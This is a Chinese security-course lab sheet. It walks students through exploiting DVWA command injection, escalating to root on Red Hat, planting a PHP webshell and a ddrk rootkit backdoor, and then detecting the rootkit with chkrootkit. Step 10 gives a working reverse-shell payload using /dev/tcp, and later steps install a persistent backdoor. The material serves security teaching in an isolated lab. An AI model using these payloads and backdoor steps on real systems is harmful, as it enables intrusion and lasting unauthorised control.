摘要:课程编写
课程编写 |
||||||||||||||||||||||||||||||||||||||||||
类别 |
内容 |
|||||||||||||||||||||||||||||||||||||||||
实验课题名称 |
Linux渗透测试笔记 |
|||||||||||||||||||||||||||||||||||||||||
实验目的与要求 |
1、了解Web安全中命令注入漏洞 2、了解通过命令注入漏洞反弹shell 3、了解Linux2.6.18-164.e15的提权利用 4、了解如何安装rootkit后门 5、了解如何清除rootkit后门 |
|||||||||||||||||||||||||||||||||||||||||
实验环境 |
VPC1(虚拟PC) |
Kali Linux |
||||||||||||||||||||||||||||||||||||||||
VPC1连接要求 |
PC网络接口,本地连接与VPC2、VPC3互连互通 |
|||||||||||||||||||||||||||||||||||||||||
VPC2(虚拟PC) |
Redhat Linux |
|||||||||||||||||||||||||||||||||||||||||
VPC2连接要求 |
PC 网络接口,本地连接与VPC1、VPC3互连互通 |
|||||||||||||||||||||||||||||||||||||||||
VPC3(虚拟PC) |
Windows 2003 |
|||||||||||||||||||||||||||||||||||||||||
VPC3连接要求 |
PC 网络接口,本地连接与VPC2、VPC3互连互通 |
|||||||||||||||||||||||||||||||||||||||||
实验环境描述 |
1、学生机与实验室网络直连 2、VPC1、VPC2、VPC3与实验室网络直连 |
|||||||||||||||||||||||||||||||||||||||||
预备知识 |
DVWA介绍: DVWA (Dam Vulnerable Web Application)是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。
命令注入介绍: 命令注入攻击的常见模式为:仅仅需要输入数据的场合,却伴随着数据同时输入了恶意代码,而装载数据的系统对此并未设计良好的过滤过程,导致恶意代码也一并执行,最终导致信息泄露或者正常数据的破坏。其中最常见的一类攻击行为就是针对数据库系统的SQL(结构化查询语言)注入。常见的SQL语句构成为:对符合特定条件的数据(某些行的某些列)实施增、删、改、查等操作。其中需要符合的条件就是所谓“数据”(如学生数据表中性别为女,或年龄大于10岁等),对这些数据的选取以及实施的某种操作就是“指令”。成功的SQL注入攻击就在于,在输入数据的时候混杂了其它SQL子句,最终拼接成的SQL语句语法是正确的(数据库系统对此毫无防备)并得到执行。
提权:
提权,顾名思义就是提高自己在服务器中的权限,就比如在windows中你本身登录的用户是guest,然后通过提权后就变成超级管理员,拥有了管理Windows的所有权限。提权是黑客的专业名词,一般用于网站入侵和系统入侵中。
Rootkit: 在悬念迭起的中外谍战片里,对战双方中的一派势力通常会派遣特工人员潜伏到对手阵营中。这名卧底人员良好的伪装使得对手对此长时间毫无察觉;为了能够长期潜伏他不贸然采取高风险行为以免过早暴露自己;他赢得敌人的信任并因此身居要职,这使得他能够源源不断地获取重要情报并利用其独特渠道传送回去。 从某种意义上说这位不速之客就是Rootkit——持久并毫无察觉地驻留在目标计算机中,对系统进行操纵、并通过隐秘渠道收集数据的程序。Rootkit的三要素就是:隐藏、操纵、收集数据。 “Rootkit”中root术语来自于unix领域。由于unix主机系统管理员账号为root账号,该账号拥有最小的安全限制,完全控制主机并拥有了管理员权限被称为“root”了这台电脑。然而能够“root”一台主机并不意味着能持续地控制它,因为管理员完全可能发现了主机遭受入侵并采取清理措施。因此Rootkit的初始含义就在于“能维持root权限的一套工具”。 简单地说,Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。Rootkit通过加载特殊的驱动,修改系统内核,进而达到隐藏信息的目的。 NSA安全和入侵检测术语字典( NSA Glossary of Terms Used in Security and Intrusion Detection)对rootkit的定义如下:A hacker security tool that captures passwords and message traffic to and from a computer. A collection of tools that allows a hacker to provide a backdoor into a system, collect information on other systems on the network,mask the fact that the system is compromised, and much more. Rootkit is a classic example of Trojan Horse software. Rootkit is available for a wide range of operating systems. rootkit并不一定是用作获得系统root访问权限的工具。实际上,rootkit是攻击者用来隐藏自己的踪迹和保留root访问权限的工具。通常,攻击者通过远程攻击获得root访问权限,或者首先密码猜测或者密码强制破译的方式获得系统的访问权限。进入系统后,如果他还没有获得root权限,再通过某些安全漏洞获得系统的root权限。接着,攻击者会在侵入的主机中安装rootkit,然后他将经常通过rootkit的后门检查系统是否有其他的用户登录,如果只有自己,攻击者就开始着手清理日志中的有关信息。通过rootkit的嗅探器获得其它系统的用户和密码之后,攻击者就会利用这些信息侵入其它的系统。
|
|||||||||||||||||||||||||||||||||||||||||
实验内容 |
1、学习渗透测试的整个过程 |
|||||||||||||||||||||||||||||||||||||||||
实验步骤 |
1.学生单击 “试验环境试验”进入实验场景,单击“打开控制台”按钮,进入目标主机。如图1所示:
2.打开虚拟机L011001001win03,输入默认账号administrator,密码123456,进入windows 2003系统主机,并查看ip地址,如图所示: 3.打开虚拟机L011001001kali, 输入用户名为:root ,密码toor,进入Kali Linux中,并查看ip地址,如图所示:
3.打开虚拟机L011001001redhat, 输入用户名为:root ,密码123456,进入Redhat Linux中,并查看ip地址,如图所示:
4.在Redhat虚拟机中,用命令“ /opt/lampp/lampp start”打开Apache、Mysql的服务:
5.在Kali 虚拟机中,用浏览器打开Redhat虚拟机中Web的地址,帐号为admin,密码为password:
6.创建数据库
7.将安全等级设置为low
8.点击进入命令注入漏洞模块:
9.此时在Kali虚拟机中打开终端,输入“nc –v –l –p 80” ,监听本机80端口。
10.在命令注入漏洞模块的输入框中输入“;/bin/bash –i > /dev/tcp/172.16.1.52/80|0<&1 2>&1”,然后提交。
11.此时在Kali虚拟机中会反弹回来一个Redhat的shell,如下图所示:
12.输入命令“id”,查看账户属性:
13.输入命令“uname -a”,查看系统版本号:
14.接下来用网上现有的提权步骤进行提权,提权相关文档已放到Kali虚拟机桌面上.
15.将文档里的内容直接复制粘贴到终端即可.
16.此时输入命令“id”,会发现uid=0,即获得root权限,表示提权成功。
17.接下来我们需要安装木马与rootkit后门,便于以后的进入.在终端输入如图所示命令,即在靶机上建立一个一句话木马文件.
18.此时在Win03虚拟机的D:\tools文件夹下打开中国菜刀chopper,右击界面,点击添加,地址栏里输入一句话木马的路径,后面输入密码,类型选择PHP(Eval),点击添加.
19.此时中国菜刀界面上多了一个目录.
20.双击打开,得到靶机系统的目录.
21.点击进入/tmp文件夹下(因为/tmp文件夹一般为可读可写),右击界面,并点击上传,在D:/tools文件夹下选择ddrk.tar.gz文件,点击打开进行上传.
22.此时在/tmp文件夹下发现多了一个ddrk.tar.gz文件.
23.在Kali虚拟机反弹的Shell终端上命令“cd /tmp”与“ls”可查看到/tmp目录确实多了一个ddrk.tar.gz文件.
24.用命令“tar –zxvf ddrk.tar.gz”进行解压.
25.用命令“cd ddrk”与“ls”查看ddrk目录下解压出来的文件.
26.用命令“chmod 777 *”将ddrk下的文件全部赋予可读可写可执行的权限.
27.用命令“./setup 密码 端口号”进行安装并设置密码与端口号,只输入“./setup”,默认密码为123456,默认端口号为43958.
28.此时在Kali虚拟机下打开一个终端,输入命令“ssh -1 root@172.16.1.57 –p 43958”登录到靶机上.
29.用命令“ipconfig”查看ip地址,发现确实是已经登录到了靶机172.16.1.57上了。
30.接下来用工具chkrootkit进行rootkit的检测.可以用ssh将chkrootkit.tar.gz文件上传到redhat虚拟机下,直接在redhat虚拟机里进行检测;也可以直接用中国菜刀将chkrootkit.tar.gz上传到redhat虚拟机下.上传完成后,“ls”进行查看,并用命令“tar –zxvf chkrootkit.tar.gz”进行解压缩.
31.编译安装chkrootkit.
32.把编译好的文件部署到/usr/local/目录中,并删除遗留的文件.至此,安装完毕.
33.安装好的chkrootkit程序位于/usr/local/chkrootkit/chkrootkit,直接执行命令“/usr/local/chkrootkit/chkrootkit”即可对系统rootkit进行全面扫描,并滚动显示出结果,如图:
安全提示:由于chkrootkit的检查过程使用了部分系统命令。因此,如果服务器被入侵,则依赖的系统命令可能也已经被入侵者做了手脚,chkrootkit的结果将变得完全不可信,甚至连系统ls等查看文件的基础命令也变得不可信。
实验到此结束,关闭虚拟机。 |
最新评论